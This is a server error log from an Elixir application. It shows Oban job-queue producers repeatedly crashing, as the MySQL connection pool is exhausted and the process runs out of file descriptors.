State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:15:57.241116Z], limit: 50, uuid: "036dbf7b-63cc-42e6-86cb-35d389e07c82", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:57.241122Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.244873>, refresh_timer: #Reference<0.2525715032.1121189889.112742>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1956ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:15:57.239528Z], limit: 5, uuid: "24870835-e51d-43a3-9135-647ae7ac29ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:57.239533Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13143>, refresh_timer: #Reference<0.2525715032.1077411843.244842>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:10.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1905ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:15:57.239003Z], limit: 3, uuid: "da19de12-98cf-4d6f-b5fe-0a9b0ad23941", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:57.239012Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13144>, refresh_timer: #Reference<0.2525715032.1068498948.1344>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1708ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:15:57.240491Z], limit: 20, uuid: "6f1a1249-fcf2-4170-b579-95d577d64862", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:57.240515Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.244872>, refresh_timer: #Reference<0.2525715032.1077411843.244857>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1929ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:15:57.239372Z], limit: 5, uuid: "e4d531dc-75f4-4a93-90bc-70651299df20", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:57.239378Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112743>, refresh_timer: #Reference<0.2525715032.1121189889.112727>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:10.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:16:03.237978Z], limit: 10, uuid: "384edb36-b53c-41b2-8ba1-7dbbdc1d0d00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:03.237985Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.13285>, refresh_timer: #Reference<0.2525715032.1068498948.1421>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:18.594000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:20.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:21.055000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:21.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:22.475000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:16:10.239133Z], limit: 3, uuid: "344956fd-2757-463b-93ba-978cc7dbfc8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:10.239139Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.245218>, refresh_timer: #Reference<0.2525715032.1099431938.13374>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:22.474000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:16:10.239343Z], limit: 5, uuid: "fedb66e1-14ae-42ab-b2f7-a040d68b88d6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:10.239348Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.245216>, refresh_timer: #Reference<0.2525715032.1068498948.1497>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:22.479000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:16:10.239120Z], limit: 20, uuid: "f712a107-2f28-4694-a163-9996bb487e7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:10.239126Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.245215>, refresh_timer: #Reference<0.2525715032.1077411843.245207>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:22.479000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
